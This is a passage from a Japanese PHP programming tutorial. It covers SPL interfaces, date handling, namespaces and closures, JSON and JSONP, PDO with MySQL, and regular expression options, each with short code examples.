SMTP = mail.example.com
; http://php.net/smtp-port
smtp_port = 587

; For Win32 only.
; http://php.net/sendmail-from
sendmail_from = support@example.com

その他

  • Apach, IISなどhttpdに依存した機能があります。
  • system関数で呼び出すOSの機能は各OSに存在するものだけです。
  • 初期のPHPではWindowsで動かない関数もありますがPHP5.3でほとんどの関数がWindowsで動くように改善されています。
  • Windowsのシェルにはワイルドカード(*)を展開する機能(グロブ機能)はありません。

14章 SPL(Standard PHP Library)

The Standard PHP Library (SPL) は、標準的な問題を解決するためのインターフェイスやクラスを集めたもの。 この拡張モジュールをビルドする際に、外部のライブラリは不要です。PHP 5.0.0 以降は、デフォルトでコンパイルされて使えるようになっています。 SPL は、標準データ構造や、オブジェクトを走査するためのイテレータ、インターフェイス、標準の例外、そしてファイルを扱うクラスなどを提供し、 spl_autoload_register() などの関数も提供します。

出典 http://php.net/manual/ja/intro.spl.php

拡張モジュール(コア拡張モジュール)です。 PHP5.0.0以降はデフォルトで有効です。PHP5.3.0以降は常に有効で、無効にすることはできません。

Iteratorインターフェース

PHP: Iterator - Manual

Iteratorインターフェースを実装しているクラスのオブジェクトはforeachで反復処理できます。
Iteratorインターフェースは下記5つのメソッドを定義しています。

メソッド 内容
rewind foreachの最初で呼び出されます。巻き戻します。
current 現在の値を返します。
key 現在のキーを返します。
next 次の要素へ移ります
valid 要素が取り出し可能か検証します。FALSEが帰るとforeachを抜けます。
<?php
class MyIterator implements Iterator
{

    private $list = ['a', 'b', 'c'];
    private $pointer = 0;

    function rewind()
    {
        $this->pointer = 0;
    }
    function next()
    {
        $this->pointer = $this->pointer + 1;
    }
    function current()
    {
        return $this->list[$this->pointer];
    }
    function key()
    {
        return $this->pointer;
    }
    function valid()
    {
        if (isset( $this->list[$this->pointer] )) {
            return true;
        }

        return false;
    }
}

$myIterator = new MyIterator();
foreach($myIterator as $key => $value) {
    echo $key . ': ' . $value . '<br>';
}
// 出力
// 0: a
// 1: b
// 2: c

ArrayAccess

ArrayAccessインターフェースはブラケット[]による内部要素へのアクセスを提供します。
ArrayAccessは4つのメソッドを定義しています。

関数 内容
offsetExists($offset) /
offsetGet($offset) /
offsetSet($offset, $value) /
offsetUnset($offset) /

Countableインターフェース

Countable を実装したクラスは、 count() 関数で使用することができます。

php公式マニュアル。

Countableインターフェースはcountメソッドを定義しています。

メソッド
count
<?php
class IteratorAndCountableAndArrayAccess implements Iterator, Countable, ArrayAccess
{
    private $list = array('a', 'b', 'c');
    private $pointer = 0;

    // Iterator
    public function rewind()
    {
        $this->pointer = 0;
    }
    public function next()
    {
        $this->pointer = $this->pointer + 1;

    }
    public function current()
    {
        return $this->list[$this->pointer];
    }
    public function key()
    {
        return $this->pointer;
    }
    public function valid()
    {
        if (isset($this->list[$this->pointer])) {
            return true;
        }

        return false;
    }
    
    // Countable
    public function count()
    {
        return count($this->list);
    }
    
    // ArrayAccess
    public function offsetExists($offset)
    {
        if (isset($this->list[$offset])) {
            return true;
        }

        return false;
    }
    public function offsetGet($offset)
    {
        if (isset($this->list[$offset])) {
            return $this->list[$offset];
        }

        return false;
    }
    public function offsetSet($offset, $value)
    {
        $this->list[$offset] = $value;
    }
    public function offsetUnset($offset)
    {
        unset($this->list[$offset]);
    }
}

$obj = new IteratorAndCountableAndArrayAccess();
foreach ($obj as $key => $value) {
    echo $key.': '.$value.'<br>';
}
var_dump(count($obj));
var_dump($obj[1]);
0: a
1: b
2: c
int 3
string 'b'

日付処理

タイムゾーン

必ずタイムゾーンを設定してください。
タイムゾーンを設定せず日付処理を行うとエラー・不具合の原因となります。

設定
スクリプトで設定
date_default_timezone_set('Asia/Tokyo');
php.iniで設定
date.timezone = Asia/Tokyo

PHP: サポートされるタイムゾーンのリスト - Manual

確認
echo date_default_timezone_get();

基本的例

$d = new DateTime('now', new DateTimeZone('Asia/Tokyo'));   // nowが2017年1月1日 23時59分59秒の例
echo $d->format('Y-m-d: H:i:s');                            // 2017-01-01: 23:59:59
$d = new \DateTime('first mon of this month');

DateTime

(add/sub/diffはPHP5.3以降)

メソッド 意味
public DateTime DateTime::add ( DateInterval $interval ) 「指定した DateInterval オブジェクトを、 指定した DateTime オブジェクトに加えます。」PHP公式マニュアル。
public DateTime DateTime::sub ( DateInterval $interval ) 「指定した DateInterval オブジェクトを、 指定した DateTime オブジェクトから引きます。」PHP公式マニュアル。
public DateInterval DateTime::diff ( DateTimeInterface $datetime2 [, bool $absolute = false ] ) 「ふたつの DateTime オブジェクトの差を返す」PHP公式マニュアル。
$d = new DateTime('now', new DateTimeZone('Asia/Tokyo'));   // nowが2017年1月1日 23時59分59秒の例 
echo $d->format('Y-m-d: H:i:s');                            // 2017-01-01: 23:59:59

formatメソッドへ指定可能な値はdate()が理解できる書式指定文字列です。

日付の書式文字列は下記を参照してください。
日付の書式文字列

DateInterval

日付の間隔を表すクラスです。
コンストラクタまたは静的メソッドDateInterval::createFromDateStringを使用して作成します。

メソッド 意味
public DateInterval::__construct ( string $interval_spec ) 「新しい DateInterval オブジェクトを作成する」PHP公式マニュアル。
間隔指示子文字列から作成。
public static DateInterval createFromDateString ( string $time ) 「相対指定文字列から DateInterval を作成する」PHP公式マニュアル。
相対指定文字列から作成。

DateIntervalの例

// セットになっているふたつは、それぞれ同じ間隔を表します。
$i = new DateInterval('P1D');
$i = DateInterval::createFromDateString('1 day');

$i = new DateInterval('P2W');
$i = DateInterval::createFromDateString('2 weeks');

$i = new DateInterval('P3M');
$i = DateInterval::createFromDateString('3 months');

PHP公式マニュアルから引用

DateIntervalを使用した日付操作

例1

$d = new DateTime('2017-01-01 23:59:59', new DateTimeZone('Asia/Tokyo'));   // 2017年1月1日 23時59分59秒でオブエクト作成 
echo $d->format('Y-m-d: H:i:s') . PHP_EOL;                                  // 2017-01-01: 23:59:59
$d->add(new \DateInterval('P3D'));                                          // 3日プラス
echo $d->format('Y-m-d: H:i:s') . PHP_EOL;                                  // 2017-01-04: 23:59:59

例2

$d = new DateTime('2017-01-01 23:59:59', new DateTimeZone('Asia/Tokyo'));   // 2017年1月1日 23時59分59秒でオブエクト作成 
echo $d->format('Y-m-d: H:i:s') . PHP_EOL;                                  // 2017-01-01: 23:59:59
$d->add(new \DateInterval('PT5M'));                                         // 5分プラス 時間の前にTを付ける
echo $d->format('Y-m-d: H:i:s') . PHP_EOL;                                  // 2017-01-02: 00:04:59

最初は P から始まります。これは “period” を表します。 間隔の単位は、整数値の後に間隔指示子をつけて表します。 時間の要素を含む場合は、時間部分の前に文字 T を入れます。

PHP: DateInterval::__construct - Manual

日付の差

$d1 = new \DateTime('2019-12-18');
$d2 = new \DateTime('2019-10-20');
$interval = $d2->diff($d1); // $intervalはDateIntervalクラス
// 「a DateTime::diff() の結果に使った場合は総日数、それ以外の場合は (unknown)」(PHP公式マニュアル)
// https://www.php.net/manual/ja/dateinterval.format.php
$interval->format('%a 日'); 
// 59日

DatePeriod

DatePeriodで10日後までの日付取得するサンプルです。
コンストラクタの第3パラメーターへ終了日(DateTimeオブジェクト)を指定したときは終了日は含まれません。
コンストラクタの第3パラメーターへ反復回数(整数)を指定したときは、開始日に続けてその回数分の日付が含まれます(合計で回数+1件)。
コンストラクタの第4パラメーターでDatePeriod::EXCLUDE_START_DATEを指定したときは開始日を含みません。

$startDate = new \DateTime('2016-01-01', new \DateTimeZone('Asia/Tokyo'));  // 開始日のDateTimeインスタンス作成
$endDate   = new \DateTime('2016-01-01', new \DateTimeZone('Asia/Tokyo'));
$endDate->add(new DateInterval('P10D'));                                    // 10日プラス。 2016-01-11。
$dateInterval = new \DateInterval('P1D');                                   // 1日のインターバル作成

// 終了日を含まず10日表示。
$dates = new \DatePeriod($startDate, $dateInterval, $endDate);  
// $datesはDatePeriodのインスタンスです。DatePeriodはTraversableインターフェースを実装しています。
foreach ($dates as $date) {
    // $dateはDateTimeクラスのインスタンス
    echo $date->format("Y-m-d") . '<br>';  // 2016-01-01 〜 2016-01-10まで10日間表示(開始日を含み、終了日は含まない)
}
$startDate    = new \DateTime('2016-01-01', new \DateTimeZone('Asia/Tokyo')); // 開始日のDateTimeインスタンス作成
$dateInterval = new \DateInterval('P1D');                                     // 1日のインターバル作成

// 終了日を含め合計11日表示。
$dates = new \DatePeriod($startDate, $dateInterval, 10); 
foreach ($dates as $date) {
    echo $date->format("Y-m-d") . '<br>';  // 2016-01-01 〜 2016-01-11まで11日間表示(開始日 + 反復回数10)
}

15章 名前空間、クロージャー、リフレクション、静的遅延束縛

名前空間

  1. useを使ったインポートは必ず完全修飾形式と解釈されるためバックスラッシュを先頭へつける必要ありません。
  2. use以外は先頭にバックスラッシュがないときは相対指定と解釈されます。
  3. Composerでインストールしたコンポーネントは名前空間トップをsrcディレクトリへ配置することが一般的です。
  4. 名前空間内でグローバル空間のクラスや関数を指定するときはクラス名の前にバックスラッシュ(\)をつ行けます。
$d = new \DateTime('2016-01-01'); 

名前解決

  • 名前空間が定義されているとき関数は最初に名前空間内を探索し、見つからないときはグローバル空間を探索します。
  • 名前空間が定義されているときクラスは名前空間内を探索します。グローバル空間は探索しません。

use句でインンポート

useを使ったインポートは必ず完全修飾形式と解釈されるためバックスラッシュを先頭へつける必要はありません。
PHPマニュアルは下記のようにバックスラッシュは記載しないことを推奨しています。

名前空間つきの名前 (完全修飾形式の名前空間は区切り文字を含んだ Foo\Bar のようなもので、グローバルな場合は区切り文字を含まない FooBar のようになります) では先頭のバックスラッシュは不要で、推奨されないことに注意しましょう。 インポートする名前は完全修飾形式でなければならず、 現在の名前空間からの相対指定で処理されることはないからです。

PHP: 名前空間の使用法: エイリアス/インポート - Manual

use句以外でインポート

namespace My;

use Foo\Bar; // use句によるインポート。グローバルな名前空間のFoo\Barクラスを、Barとして参照できる

class Some {
    public function __construct() {
        $foo_bar = new \Hoge\Piyo();  // 完全修飾名。グローバルな名前空間のHoge\Piyo
        $my_foo_bar = new Hoge\Piyo(); // 相対名。My\Hoge\Piyoを指す(グローバルは探索しない)
    }
}

コンポーネントのマッピング

PackagistはComposerのパッケージポータルです。コンポーネントをPackagistへ登録するときはコンポーネントのcomposer.jsonへ名前空間をコンポーネント内のどのディレクトリへマッピングするかautoloaderへ知らせるための記載が必要です。

Beneath the psr-4 property, you map the component’s namespace prefix to a filesystem path relative to the component’s root directory.

出典 「Mordern PHP」

例

monolog
    |
    monolog
        |
        |--src
            |
            |-- Monolog
                |
                |-- ....
        |
        |-- composer.json

composer.json

{
  ...
  "autoload": {
        "psr-4": {"Monolog\\": "src/Monolog"}
    }
}

composer.jsonのautoloadプロパティへ設定する名前空間の区切りはバックスラッシュ2つです。
(JSONの文字列ではバックスラッシュをエスケープする必要があるためです。)

パッケージ利用例(Monolog)

use Monolog\Logger;
use Monolog\Handler\StreamHandler;

class Some {

    public function run() {
        $log = new Logger('Monolog');
        $log->pushHandler(new StreamHandler('./monolog.log', Logger::DEBUG));
        $log->addInfo('Information.');
        $log->addError('Error message : ' . __DIR__ );
        $log->addDebug('Debug message.: ' . __DIR__ );
    }
}

注意点

namespace Foo;
class Bar {
}
namespace Hoge;
use Foo; // 名前空間Fooに「Foo」という別名を付けるだけです。Foo内の全クラスをインポートするわけではありません。

class Fuga {
    public function make() {
        return new Foo\Bar();  // 別名Fooが\Fooとして解決され、\Foo\Barになります。
    }
}

クロージャー(無名関数)

PHP: 無名関数 - Manual

無名関数を、クロージャーと呼びます(つまりクロージャーは無名関数として定義します)。 クロージャは、レキシカルスコープにおいて、包含スコープの変数を束縛する機能を持ちます。

PHPでは包含スコープの変数を使うときは、useで渡す必要があります。
また包含スコープの変数を変更するときは、参照渡しにする必要があります。

PHPは無名関数とは機能が全くことなる匿名関数もあります。両者を混同しないでください。 他の言語では両者に違いがない場合も多く、PHPの無名関数を、匿名関数と呼ぶ場合も多いようです。

$x = 0;
$c = function() use(&$x) { // クロージャー内で値を変更するときは、参照渡しにする必要があります。
    echo ++$x;
};
$c(); // 1
$c(); // 2
$c(); // 3

以下は構文エラーの例です。

$x = 0;
// 無名関数で定義していません。
function c() use(&$x) {  // Parse error:  syntax error, unexpected 'use' (T_USE),
    echo ++$x;
}
$c();
$c();
$c();

Closureクラス

無名関数の実装には Closure クラスを使っています。

PHP: 無名関数 - Manual

<?php
$c = function() { echo $this->name; };
var_dump($c instanceOf \Closure);
Closure::call()(PHP7.0以降。PHP5.4以降はClosure::bind()を使います)
<?php
$timeZone = 'Asia/Tokyo';
$c = function() use($timeZone) { 
    echo 'name: ' . $this->name . PHP_EOL;
    echo 'location: ' . $timeZone;
};
class Person {
    public function __construct($name) {
        $this->name = $name;
    }
    private $name;
}
$c->call(new Person('Taro'));

クロージャーのサンプル。

<?php
function createCounter($count = 0)
{
    return function () use (&$count) {  // $countはクロージャー内で変更するので、参照として渡します。
        return ++$count;
    };
}

$counter = createCounter(0);
echo $counter(); // 1
echo $counter(); // 2
echo $counter(); // 3

PHP 7.0から即時実行が可能です。

$counter = (function ($count = 0) {
    return function () use(&$count) {
      $count += 1;
      return $count;
    };
})(0);
echo $counter(); // 1
echo $counter(); // 2
echo $counter(); // 3

例2

<?php
$total = array_map(
    call_user_func(
        function ($tax) {
            return function ($x) use ($tax) {
                return $x * $tax;
            };
        },
        1.08
    ),
    [100, 200, 300]
);
var_dump($total);
array (size=3)
  0 => float 108
  1 => float 216
  2 => float 324

PHP7.0から即時実行を使って、下記のように記載できます。

$total = array_map(
    (function ($tax) {
        return function ($x) use ($tax) {
            return $x * $tax;
        };
    })(1.08),
    [100, 200, 300]
);
var_dump($total);
array (size=3)
  0 => float 108
  1 => float 216
  2 => float 324

コールバック関数(クロージャー(無名関数)を使う場合))

<?php
function calc($func) {
    $a = 10;
    $func(10);
}

// 方法1
calc(function($x) {
    var_dump($x * $x);
});

// 方法2
$times = function ($x) {
    var_dump($x * $x);
};
calc($times);

// 方法3 (無名関数を使わない場合)
function timesFunc($x) {
   var_dump($x * $x);
}
calc('timesFunc');

クロージャー(無名関数)と匿名関数の違い

PHPのクロージャーは無名関数です。
またPHPでは、create_functionで作成した関数を匿名関数と呼びます。

名前 種類 内容
無名関数 クロージャーです。 functionキーワードで作成します。
匿名関数 名前が一意についた関数です。 create_function関数で作成します(内部でevalを使うため、外部入力を含めるとコードインジェクションの危険があり、使用は避けます)。
// 無名関数はクロージャーなのでuseで包含スコープの変数を束縛できます。
$a = 10;
$foo = function($x) use($a) {
    echo $a + $x;
};
$foo(5); // 15
var_dump($foo);
object(Closure)#1 (2) {
  ["static"]=>
  array(1) {
    ["a"]=>
    int(10)
  }
  ["parameter"]=>
  array(1) {
    ["$x"]=>
    string(10) "<required>"
  }
}

クロージャーの注意点

$lang = 'ja';
$c = function() use($lang) {
    echo $lang . PHP_EOL;
};
$c(); // ja
$lang = 'en';
$c(); // ja <-- enではない


$lang = 'ja';

$c = function() use(&$lang) { // 参照渡しへ変更
    echo $lang . PHP_EOL;
};
$c(); // ja
$lang = 'en';
$c(); // en <-- 参照渡しの場合はenになる

リフレクション

クラス|内容 —|— ReflectionClass | クラス用 ReflectionMethod | メソッド用 ReflectionFunction| 関数用 ReflectionException | Reflection関連の例外クラス

遅延静的束縛

形式 内容
self::メソッド名 定義したクラスのメソッドを呼び出します。
static::メソッド名 実行時のメソッドを呼び出します(遅延的静的束縛 レイトスタティックバインディング)。
__CLASS__ 宣言された名前空間を含むクラス名を返します。
get_called_class 関数を呼び出したクラスのクラス名を返します。サブクラスから呼び出したときはサブクラス名を返します。
class Foo {
    public static function some1() {
        self::other();
    }
    public static function some2() {
        static::another();
    }
    public static function other() {
        echo 'foo other.';
    }
    public static function another() {
        echo 'foo another.';
    }
}
class Bar extends Foo {
    public static function other() {
        echo 'bar other.';
    }
    public static function another() {
        echo 'bar another.';
    }
}

Bar::some1();  // foo other.
Bar::some2();  // bar another.

転送コール/非転送コール

名称 例
転送コール parent::、self::、static::
非転送コール 明示的にクラスを指定した呼び出し Foo::、Bar::

16章 JSON

JSON(ジェイソン、JavaScript Object Notation)は軽量なデータ記述言語の1つである。構文はJavaScriptにおけるオブジェクトの表記法をベースとしているが、JSONはJavaScript専用のデータ形式では決してなく、様々なソフトウェアやプログラミング言語間におけるデータの受け渡しに使えるよう設計されている。

出典 Wikipedia

データ型

JSONの型 内容
文字 文字はダブルクォート文字列です。シングルクォートはありません。
数値 指数表現なども可能です。
論理値 true/false 小文字です。
配列 [“a”,”b”]
JSON オブジェクト {“a”:”あ”, “b”:”い”}
JSON Objectです。プロパティは必ずダブルクォートで囲む必要があります。
null 小文字です。
  • 型は文字、数値、論理値、配列、オブエクト,nullです。
  • プロパティは必ずダブルクォートで囲みます(シングルクォートは使えません)。
  • 文字列はダブルクォートで囲みます。PHP/JavaScriptと異なりシングルクォート文字列はありません。
  • 論理値は小文字(true, false)です。
  • nullは小文字です。

以下は正しいJSONです。

{
	"string": "Hello JSON!",
	"number": 123e+5,
	"boolean": true,
	"array": ["a", "b"],
	"jsonobject": {
		"a": "あ",
		"b": "い"
	},
	"null": null
}

以下は正しくない例です。

{
	"string": "Hello JSON!",
	"number": 123e+5,
	"boolean": TRUE, /* 大文字は使用できません(小文字のtrueのみ)。 */	
	"array": ["a", "b"],
	"jsonobject": {
		a: "あ", /* プロパティがダブルクォートで囲まれていない。JavaScriptのオブジェクトとしては正しいですがJSONのオブジェクトではエラーです。 */
		b: "い"
	},
	"null": NULL    /* 大文字は使用できません。 */
}

正しいJOSN文字列をPHPオブジェクトへ変換した例

object(stdClass)[1]
  public 'string' => string 'Hello JSON!' (length=11)
  public 'number' => float 12300000
  public 'boolean' => boolean true
  public 'array' => 
    array (size=2)
      0 => string 'a' (length=1)
      1 => string 'b' (length=1)
  public 'jsonobject' => 
    object(stdClass)[2]
      public 'a' => string 'あ' (length=3)
      public 'b' => string 'い' (length=3)
  public 'null' => null

文字列

JSONの文字列では、任意の文字を\uXXXX形式(Unicodeエスケープ)で表記できます(必須ではありません)。PHPのjson_encodeは既定でASCII以外の文字を\uXXXXにエスケープします(JSON_UNESCAPED_UNICODEオプションはPHP5.4以降)。 文字をUnicode文字へ符号化することをユニコードエスケープと呼ぶ場合がある。

JSONのエスケープシーケンス

JSONのエスケープシーケンスはPHPのダブルクォート文字列のエスケープと共通のものもありますが違いもあります。
JSONでは/を\/とエスケープしてもよい(必須ではない)とされています。PHPのjson_encodeは既定で/を\/にエスケープします(JSON_UNESCAPED_SLASHESオプションはPHP5.4以降)。

エスケープシーケンス 意味
\” ダブルクォート
\/ スラッシュ
\\ バックスラッシュ
\b バックスペース
\f フォームフィード
\n 改行
\r キャリッジリターン
\t タブ

PHPオブジェクトとJSON文字列の変換

PHPのビルトインクラスstdClassとJSON文字列は相互に変換できます。
ユーザー定義クラスもJSON文字列に変換できます。そのときprivate, protectedのプロパティは変換されません。

関数 内容
json_encode JSON文字列を返します。
json_decode JSON文字列を引数にとりstdClassのインスタンスを返します。第2引数へtrueを指定すると連想配列を返します。

stdClassインスタンスからJSON文字列へ変換

$obj = new stdClass();
$obj->firstName = "Taro";
$obj->lastName  = "Yamada";
$obj->age       = 40;
$obj->marriage  = TRUE;
$obj->skill     = ["Programming", "Design" ];
$json           = json_encode($obj);
var_dump($json); 
// 文字列
// '{"firstName":"Taro","lastName":"Yamada","age":40,"marriage":true,"skill":["Programming","Design"]}'

JSON文字列からstdClassへ変換

$sobj = json_decode('{"firstName":"Taro","lastName":"Yamada","age":40,"marriage":true,"skill":["Programming","Design"]}');
var_dump($sobj);
/**
object(stdClass)[2]
  public 'firstName' => string 'Taro' (length=4)
  public 'lastName' => string 'Yamada' (length=6)
  public 'age' => int 40
  public 'marriage' => boolean true
  public 'skill' => 
    array (size=2)
      0 => string 'Programming' (length=11)
      1 => string 'Design' (length=6)
 */

変換のまとめ

// オブジェクトをJSONへ変換
$obj = new stdClass();
$obj->x = 'a';
$obj->y = 'b';
$json_obj = json_encode($obj);
var_dump($json_obj);

// 配列をJSONへ変換
$arr = [ 'x' => 'a', 'y' => 'b' ];
$json_arr = json_encode($arr);
var_dump($json_arr);

// JSONをオブジェクトへ変換
$obj_decoded = json_decode($json_obj);  // 第2引数デフォルトはfalse
var_dump($obj_decoded);

// JSONを配列へ変換
$arr_decoded = json_decode($json_arr, true);
var_dump($arr_decoded);

json_encode/json_decodeのエラー処理

json_encode、json_decodeは、エラーが発生してもエラーメッセージの出力や例外の送出を行いません。エラー情報はjson_last_error関数で取得します(エラーメッセージ文字列を返すjson_last_error_msgはPHP5.5以降)。

JSONP

JSONPは同一生成元ポリシー(Same origin policy)の回避策です。
JSONの名前がつきますが基本は他ドメインを読み込み可能なscriptタグのsrc属性に他ドメインを指定しドメインを跨いた処理を行います。

典型的な例は呼び出し元で関数を定義し、その関数の呼び出しを記述したJavaScriptが返されます。
またJSONPの名前にあるように関数呼び出しの引数へJSONを指定することが多いです。

下記の例は単にサーバーの日付を表示します。

HTML

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>JSONPサンプル</title>
    <script>
        function time( $data ) {
            document.getElementById( "result" ).innerHTML = $data;
        }
        window.onload = function () {
            var script, parent;
            script = document.createElement( "script" );
            script.src = "http://www.example.com/jsonp.php?callback=time";
            parent = document.getElementsByTagName( "script" )[0];
            parent.parentNode.insertBefore( script, parent );
        };
    </script>
</head>
<body>
<div id="result"></div>
</body>
</html>

PHP

<?php
# jsonp.php
// コールバック名は識別子として検証します(検証しないと任意のJavaScriptを出力できてしまいます)。
$callback = isset($_GET['callback']) ? $_GET['callback'] : '';
if (!preg_match('/\A[a-zA-Z_][a-zA-Z0-9_]*\z/', $callback)) {
    header('HTTP/1.1 400 Bad Request');
    exit;
}
$dt       = new \DateTime();
$time     = $dt->format('Y-m-d');

// Content-Typeヘッダーはjsonではなくjavascriptを指定します。
header('Content-Type: application/javascript; charset=UTF-8');
header('X-Content-Type-Options: nosniff');
echo $callback . '(' . json_encode($time) . ');';

Content-Typeヘッダーは、application/jsonではなくJavaScriptのMIMEタイプ(application/javascript)を指定します。

17章 PDO、mysqlnd

PDO

データアクセスを抽象化する拡張モジュールです。

MySQL用API/ドライバの種類

PHP から MySQL データベースにアクセスするための API は、二種類または三種類 (PHP のバージョンによって異なります) です。PHP 5 を使う場合は、 非推奨の mysql 拡張モジュールか、 mysqli あるいは PDO_MySQL が利用できます。 PHP 7 では mysql 拡張モジュールが削除されたので、残りの二種類のいずれかを利用します。

出典PHP: MySQL 用 PHP ドライバの概要 - Manual

MySQL用API/ドライバ 備考
MYSQL 拡張モジュール(非推奨)。外部拡張。
MYSQLi MySQL改良版拡張モジュール。外部拡張。
PDO/PDO_MYSQL バンドルされている拡張。

上記の拡張モジュールは、MySQL Native Driver(mysqlnd)を使ってMySQLサーバーと通信できます(PHP5.4以降は既定でmysqlndが使用されます)。
出典 PHP: 概要 - Manual 。

PHP Data Objects (PDO)

  • データアクセスを抽象化する拡張モジュールです。
  • 外部ライブラリを必要としないバンドルされている拡張です。
  • PHP5.1以降デフォルトで有効です。

データベースサーバーにアクセスするには、 データベース固有の PDO ドライバ を使用する必要があります。

PDO は、データアクセスの抽象化レイヤを提供します。 つまり、使用しているデータベースが何であるかにかかわらず、同じ 関数を使用してクエリの発行やデータの取得が行えるということです。 PDO は、データベースの抽象化を行うのでは ありません。

PDO は PHP 5.1 以降にバンドルされており、PHP 5.0 では PECL 拡張モジュールとして使用可能です。PDO は PHP 5 の新機能である オブジェクト指向機能を使用しており、それより前のバージョンの PHP では動作しません。

出典 PHP公式マニュアル PHP: 導入 - Manual。

  • PDOは全てのデータベースでプリペアドステートメントを使用できます。
    プリペアドステートメントを提供していないデータベースでもPDOの提供するプリペアドステートメントを使用できます。 デフォルトでデータベース自身の機能を使うかPDOのエミュレーション機能を使うのかはデータベースによります。MySQLはデフォルトでエミュレーションを利用します。
  • PDOはトランザクションを使用できますがデータベース自身がトランザクションへ対応していない場合は使用できません。
  • PostgreSQLの非同期クエリはサポートしていません。
  • PDOは接続時に文字コードを指定できますがAPIとしては文字コードの操作メソッドは提供されていません。

PHP5.3.6以降

<?php
$pdo = new PDO(
    'mysql:host=yourhost;dbname=yourdb;charset=utf8mb4',
    'user', 'password'
);

出典 MySQLとPDOの組み合わせでcharsetを指定する - Qiita

文字コードはutf8ではなくutf8mb4を指定してください。

PDOドライバ

データベースサーバーにアクセスするには、 データベース固有の PDO ドライバ を使用する必要があります。

出典 PHP公式マニュアル PHP: 導入 - Manual。

データベース PDOドライバ
MySQL PDO_MYSQL
PostgreSQL PDO_PGSQL
SQLite 2, 3 PDO_SQLITE
ORACLE PDO_OCI
ODBC / DB2 PDO_ODBC( ODBC ドライバあるいは IBM DB2 Call Level Interface (DB2 CLI) ライブラリを使用した データベースへのアクセスが可能となります。

PDO_MYSQL DSN

<?php
$dsn = 'mysql:host=localhost;dbname=testdb;charset=utf8mb4';
$username = 'username';
$password = 'password';
$options = array();
$dbh = new PDO($dsn, $username, $password, $options);
?>

MySQLの文字コードにはutf8mb4を指定します(utf-8はMySQLでは無効な名前です)。

ラージオブジェクト (LOB)

ラージオブジェクト (LOB)
ラージオブジェクトは一般に4KB(または32KB)以上のデータを表します。ラージオブジェクトはテキストおよびバイナリ形式の双方を扱うことができます。

PDO でこのラージデータ型を扱うには、 PDOStatement::bindParam() や PDOStatement::bindColumn() のコール時に 型コードとして PDO::PARAM_LOB を使用します。 PDO::PARAM_LOB を指定すると、PDO は データをストリームにマップします。これにより、 PHP ストリーム API を使用してデータを扱えるようになります。

出典 PHP公式マニュアル

<?php
$db = new PDO('odbc:SAMPLE', '<user>', '<password>');
$stmt = $db->prepare("insert into images (id, contenttype, imagedata) values (?, ?, ?)");
$id = get_new_id(); // 新しい ID を割り当てるための何らかの関数

// フォームからファイルをアップロードしていると仮定します。
// 詳細な情報は PHP のドキュメントを参照ください。

$fp = fopen($_FILES['file']['tmp_name'], 'rb');

$stmt->bindParam(1, $id);
$stmt->bindParam(2, $_FILES['file']['type']);
$stmt->bindParam(3, $fp, PDO::PARAM_LOB);

$db->beginTransaction();
$stmt->execute();
$db->commit();
?>

出典 PHP公式マニュアル

MySQLの型については下記記事で詳細な解説があります。
http://ysklog.net/mysql/1797.html

mysqlnd

  • 拡張モジュールです。
  • PHP5.3以降PHPソースへバンドルされています。Windows以外ではデフォルトでは有効でないためコンパイルのときに有効化します(PHP5.4以降は既定でmysqlndが使用されます)。
./configure --with-mysql=mysqlnd \
--with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd \
[other options]

18章 正規表現

基本

正規表現はPerl互換のPCREとマルチバイトを扱うmbstring系とPOSIXのereg系があります。ereg系は5.3で非推奨になっています。

  • PCRE系
    • パターン文字列をデリミタで囲みます。
    • NULLバイトセーフです。
    • 任意の一文字を表す.はデフォルトで改行にマッチしません。
      デフォルトはsオプション(PCRE_DOTALL)なしです。
    • マルチバイトはUTF-8のみ対応しています(他の文字コードは対応していません)。日本語を扱うときはuオプションを指定します。
  • mbstring系(mb_ereg_match)
    • パターン文字列はデリミタを付けません。
    • NULLバイトセーフです。
    • 任意の一文字を表す.はデフォルトで改行にマッチします。
      デフォルトオプションはmsrです。mbstring系はmがPCREのsに相当します。
  • ereg系
    • PHP5.3で非推奨です。
    • パターン文字列はデリミタを付けません。
    • NULLバイトセーフではありません。

正規表現基本サンプル

$result = preg_match('/\d{3}-?\d{4}/', 'My post number is 4600026', $matches, PREG_OFFSET_CAPTRUE);
var_dump($result);
var_dump($matches);  
int 1
array {
  0 => 
    array
      0 => string '4600026'
      1 => int 18
}

パターン文字列

PCRE系はパターンをデリミタで囲む必要があります。
mbstring系(ereg系非推奨)はデリミタで囲みません。

NULLバイト

PCRE/mbstring系はNULLバイトセーフです。
ereg系はNULLバイトセーフではありません。

$result = preg_replace('/si/', 'shi', "My name is \x00 Hirosi.");
var_dump($result);  // My name is � Hiroshi.
$result = ereg_replace('si' , 'shi', "My name is \x00 Hirosi.");
var_dump($result);  // My name is

オプション

PCREはデリミタでオプションを指定します。
mbstring系はmb_regex_set_options関数で指定します。
(またmbstringは文字コードをmb_regex_encodingで指定できます。)

PCREのオプションは下記を参照ください。
http://php.net/manual/ja/reference.pcre.pattern.modifiers.php
mbstring系のオプションは下記を参照ください。
http://php.net/manual/ja/function.mb-regex-set-options.php

s,mオプション

PCREオプション|意味 —|— s (PCRE_DOTALL) | .(ドット)が改行にマッチします。 m (PCRE_MULTILINE)| ^, $が各行の行頭、行末にマッチします。mオプションがない場合は改行が含まれている文字列でも文字列の先頭と末尾のみマッチします。

.(ドット)は改行を除くすべての文字にマッチします。sオプションを付けることで改行にもマッチするようになります。
^(キャレット)は改行の有無に関わらず対象の先頭に、$(ドル)は末尾(末尾が改行のときはその直前を含む。Dオプションで直前を除外)にマッチします。mオプションを付けることで改行ごとに先頭、末尾にマッチするようになります。
mオプションを付けたときにオプションなしと同じ処理をしたいときはmに影響を受けない\A, \Z、\zを利用します。

紛らわしいですがmbstring系のs, mオプションは下記のようになります。

mbstring系オプション 意味
s ^, $が\A,\Zと同じ働きをします。つまり改行の有無にかかわらず文字の先頭と末尾のみマッチします。
m .(ドット)が改行にマッチします。

mbstring系のデフォルトオプションはmsrです。rはPerlではなくルビー互換を表します。

// PCREのsオプション
$result = preg_match("/a.+c/", "ab\nc");
var_dump($result); // 0
$result = preg_match("/a.+c/s", "ab\nc");
var_dump($result); // 1

// PCREのmオプションなし
$pattern = "/^a/";
$subject = "abc\nabc\nabc";
$result = preg_match_all($pattern, $subject, $matches);
var_dump($result);
var_dump($matches);
// PCREのmオプションあり
$pattern = "/^a/m";
$subject = "abc\nabc\nabc";
$result = preg_match_all($pattern, $subject, $matches);
var_dump($result);
var_dump($matches);
int 1
array (size=1)
  0 => 
    array (size=1)
      0 => string 'a' (length=1)
int 3
